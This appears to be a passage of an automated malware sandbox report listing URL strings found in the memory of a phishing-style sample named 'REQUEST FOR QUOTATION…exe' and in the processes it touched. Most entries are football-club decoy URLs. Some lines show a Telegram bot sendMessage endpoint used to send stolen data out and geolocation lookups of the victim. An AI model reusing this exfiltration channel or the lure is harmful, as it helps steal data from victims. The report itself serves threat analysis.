Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816308197.0000000000012000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000C.00000000.710716470.0000000000172000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000D.00000000.711421146.00000000002B2000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000E.00000000.712072127.0000000000452000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.918001050.0000000000022000.00000002.00020000.sdmp, WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp, svchost.exe, 00000015.00000000.732425604.00000000003B2000.00000002.00020000.sdmp	String found in binary or memory: http://www.liverpoolfc.com/?http://www.realmadrid.com/base/#User-Agent:
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/accessible/accessible
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/contactus
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/corporate/anti-slavery
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/corporate/browser-support
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/corporate/rss-feeds
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/history/heysel
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/history/hillsborough
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/legal/cookies
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/legal/privacy-policy
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com/legal/terms-and-conditions
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.liverpoolfc.com4
Source: svchost.exe	String found in binary or memory: http://www.mancity.com/base/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.821940448.0000000002331000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://www.mancity.com/base/cjXfWTkOmKqhmsbNQCpZFbtJLOvjKxhlhkUPsqPbYfZAM.html
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://www.mancity.com4
Source: svchost.exe	String found in binary or memory: http://www.manutd.com/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822274442.0000000002366000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://www.manutd.com4
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.realmadrid.com
Source: svchost.exe	String found in binary or memory: http://www.realmadrid.com/base/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.821940448.0000000002331000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://www.realmadrid.com/base/cjXfWTkOmKqhmsbNQCpZFbtJLOvjKxhlhkUPsqPbYfZAM.html
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.realmadrid.com/en
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.realmadrid.com/fr
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.realmadrid.com4
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.standardchartered.com/home/en/index.html?camp_id=liverpool_source=liverpoolfctv_medium=4
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: http://www.verbier.ch/en/index.htm?reset=1
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://6cgq.adj.st/en/unitednow?adjust_t=eo402dp_88iacno&adjust_campaign=Menu&adj_adgroup=M
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928332536.00000000023F1000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=Createutf-8
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://app.adjust.com/88iacno_eo402dp?campaign=Footer&adgroup=MUOfficialApp&creative=180910
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://app.adjust.com/n3hrfu_idlmlq?campaign=General&adgroup=Menu&creative=WatchMUTV&fa
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/11/179/766747/AC_Milan_Crest_Comp_180x1801549549349
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/11/179/766821/Chelsea_Crest_Comp_180x18015501413821
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/11/179/766839/Crystal_Palace_Crest_Comp_180x1801550
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/11/180/767067/Newcastle_United_Crest_Comp_180x18015
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/11/180/767129/West_Ham_United_Crest_Comp_180x180155
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/11/201/772402/Manchester_United_Crest_Comp_180x1801
Source: svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/14/154/957027/OT_LR_2_1080x5661611683583510_large.j
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/14/182/964336/real_sociedad_logo_1x1613636123778_im
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/192/311320/Manchester_City1505486069132.png
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735811506077151149_po
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-8395673581506077181102.jpg
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735821506077151150_la
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735831506077151156_sm
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735841506077151161_me
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735851506077151174_th
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735861506077151175_xl
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://competitions.liverpoolfc.com/
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/uploads/players/0927__9343__sheff_utd_(a).jpg
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/uploads/players/3243__0649__goal_rush.jpg
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/uploads/players/4793__1794__my_liverpool_titles_saint.jpg
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/uploads/players/9449__5331__press560.jpg
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/css/home-ie8.css
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/css/home.css
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/css/styles-ie8.css
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/css/styles.css
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/images/AjaxLoader-298x179.gif
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/images/favicon.png
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/js/home-scripts.min.js
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/js/polyfills-ie8.min.js
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/js/polyfills-ie9.min.js
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/js/scripts.min.js
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/page_banner/0002/08/7abcb0d130016504c4a4761ae
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/page_banner/0002/08/a645dcf8e1f1cf28fb38a0701
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/page_banner/0002/11/aa0024fde91a556201a3e18ac
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/page_banner/0002/11/caba13e5118c92cd18eab74b2
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/page_banner/0002/11/f9d2bf533c57965e0174bf510
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlog
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/16/thumb_15152_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/41/thumb_40979_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/73/thumb_72807_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/73/thumb_72810_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/74/thumb_73386_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/74/thumb_73714_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/78/thumb_77004_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/90/thumb_89785_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/92/thumb_91232_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/92/thumb_91236_partnerlogo_p
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/02/thumb_101725_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/08/thumb_107008_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/08/thumb_107697_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/09/thumb_108617_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/09/thumb_108623_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/11/thumb_110194_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/13/thumb_112227_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/13/thumb_112272_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/17/thumb_116415_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/18/thumb_117132_partnerlogo_
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://eacademy.liverpoolfc.com/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://faq.liverpoolfc.com/portal/home
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Oswald:400
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/84.17.52.78
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/84.17.52.78x
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928332536.00000000023F1000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/LoadCountryNameClipboard
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app4
Source: powershell.exe, 00000005.00000003.795330055.00000000051AF000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://instagram.com/realmadrid
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://iugis.com/uk/home/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://mg.co.uk/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://open.spotify.com/user/shootmatchday/playlist/78lxjrcD1yI1KnTcx4zY9d
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://picturestore.liverpoolfc.com/LFC
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://plus.google.com/
Source: svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://pubads.g.doubleclick.net/gampad/ads?sz=640x480&iu=/
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.929142903.00000000024D6000.00000004.00000001.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.929116338.00000000024D2000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://schema.org/EventScheduled
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://schema.org/OfflineEventAttendanceMode
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://schema.org/Organization
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://sdk.privacy-center.org/loader.js
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://secure.widget.cloud.opta.net/v3/css/v3.football.opta-widgets.css
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://secure.widget.cloud.opta.net/v3/v3.opta-widgets.js
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://store.liverpoolfc.com/
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://store.manutd.com/en/manchester-united-training/t-25869057
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://tribus-watches.com/
Source: svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/ManUtd
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://uk.joiebaby.com/liverpoolfc/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://uk.tigerwit.com/about/liverpool
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://www.acronis.com/en-gb/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.axa.com/?utm_source=liverpoolfc&utm_medium=logo-partnership&utm_campaign=lfc1819
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822274442.0000000002366000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.chelseafc.com
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.821359883.0000000000B30000.00000004.00000040.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.924509391.0000000001001000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.easports.com/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.expedia.co.uk/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926441543.0000000002C0F000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-M54566
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.hcltech.com/unitedbyhcl
